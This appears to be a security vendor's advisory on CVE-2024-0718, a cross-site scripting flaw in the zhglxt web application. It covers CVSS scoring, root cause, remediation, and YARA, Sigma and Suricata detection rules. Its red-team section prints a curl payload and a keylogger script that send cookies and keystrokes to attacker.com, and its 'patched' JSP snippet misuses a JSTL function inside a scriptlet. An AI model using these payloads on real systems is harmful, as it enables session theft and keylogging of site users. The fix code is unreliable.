CVE-2024-0718

Executive Summary

CVE-2024-0718 is a problematic cross-site scripting (XSS) vulnerability discovered in the liuwy-dlsdys zhglxt web application, version 4.7.7. The flaw resides in the HTTP POST Request Handler of the /oa/notify/edit endpoint, where the notifyTitle parameter is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript code. With a CVSS score of 2.4 (Low), the vulnerability requires user interaction (e.g., clicking a crafted link) and does not directly compromise confidentiality, integrity, or availability beyond the scope of the user's session. However, the exploit has been publicly disclosed, increasing the risk of targeted attacks. No official patch is currently available, and the EPSS score is 0.0%, indicating very low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Java-based web application (zhglxt). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 2.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a malicious link or submit a crafted form.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Attacker can modify content within the user's session.
• Availability (A): None – No denial of service.

Threat Level: Low. The vulnerability requires user interaction and has limited impact. However, public exploit code increases the risk for targeted phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (though the description suggests reflected via POST). The /oa/notify/edit endpoint processes HTTP POST requests to update notification titles. The notifyTitle parameter is echoed back to the user without proper encoding or sanitization. An attacker can craft a POST request with malicious JavaScript in the notifyTitle field. When an administrator or user views the notification edit page, the script executes in their browser context.

Root Cause: Lack of output encoding for user-supplied input in the notifyTitle field. The application likely uses a templating engine that does not auto-escape HTML entities.

Attack Flow:

1. Attacker identifies the vulnerable endpoint /oa/notify/edit.
2. Attacker sends a POST request with notifyTitle=<script>alert('XSS')</script>.
3. The server stores the malicious input (if stored) or reflects it immediately.
4. Victim accesses the notification edit page, triggering the script.

Vulnerable vs. Patched Code

Since no official patch is available, we can only hypothesize the fix.

Vulnerable Code (Java/JSP example):

<%
String notifyTitle = request.getParameter("notifyTitle");
%>
<input type="text" name="notifyTitle" value="<%= notifyTitle %>" />

Patched Code (with output encoding):

<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
<%
String notifyTitle = request.getParameter("notifyTitle");
String escapedTitle = fn:escapeXml(notifyTitle);
%>
<input type="text" name="notifyTitle" value="<%= escapedTitle %>" />

Alternatively, using a security library like OWASP Java Encoder:

import org.owasp.encoder.Encode;
String safeTitle = Encode.forHtmlAttribute(notifyTitle);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running zhglxt 4.7.7.
• Access to the /oa/notify/edit endpoint (no authentication required per CVSS).

Exploit Steps:

1. Craft a malicious POST request using cURL:

   curl -X POST http://target.com/oa/notify/edit \
     -d "notifyTitle=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

2. Send the request. The server stores the malicious title.
3. Lure an administrator to visit the notification edit page (e.g., via phishing email).
4. The script executes, exfiltrating cookies to the attacker's server.

Alternative Payload (keylogger):

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/keylog?key=' + e.key);
}
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to /oa/notify/edit for suspicious notifyTitle parameters containing <script>, onerror=, or other XSS patterns.
• Use WAF rules to block common XSS payloads.

Hunting:

• Search web server logs for requests with notifyTitle containing HTML tags.
• Check for outbound connections to unknown domains from the application server.

Mitigation:

• Apply input validation and output encoding (see Remediation).
• Restrict access to the /oa/notify/edit endpoint to authenticated users only.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /oa/notify/edit with notifyTitle containing <script> or on* event handlers.
  • Outbound HTTP requests to attacker-controlled domains from the application server.
• File System:
  • Log entries showing unescaped HTML in notifyTitle field.
• Behavioral:
  • Unexpected JavaScript execution in the context of the zhglxt application.

Detection Engineering

YARA Rule

rule CVE_2024_0718_XSS_Detect {
    meta:
        description = "Detects XSS attempts targeting CVE-2024-0718 in zhglxt"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0718"
    strings:
        $xss1 = /notifyTitle=.*<script/i
        $xss2 = /notifyTitle=.*on\w+\s*=/i
        $xss3 = /notifyTitle=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0718 XSS Attempt on zhglxt /oa/notify/edit
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /oa/notify/edit with XSS payloads in notifyTitle
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /oa/notify/edit
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in notification titles (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0718 XSS Attempt on zhglxt /oa/notify/edit"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/oa/notify/edit"; http.client_body; content:"notifyTitle"; pcre:"/notifyTitle=.*(<script|on\w+\s*=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the notifyTitle parameter to allow only alphanumeric characters and safe punctuation.
2. Output Encoding: Use context-aware encoding (e.g., HTML entity encoding) when rendering user input in the browser.
3. Access Control: Require authentication for the /oa/notify/edit endpoint.
4. WAF Rules: Deploy a Web Application Firewall to block common XSS payloads.

Long-Term Fix:

• Upgrade to a patched version of zhglxt once available.
• Implement a Content Security Policy (CSP) to restrict script execution.
• Conduct a security code review of all input handling.

Workaround:

• If patching is not possible, disable the notification edit functionality or restrict it to trusted IPs.

Valters IT
Securing Digital Frontiers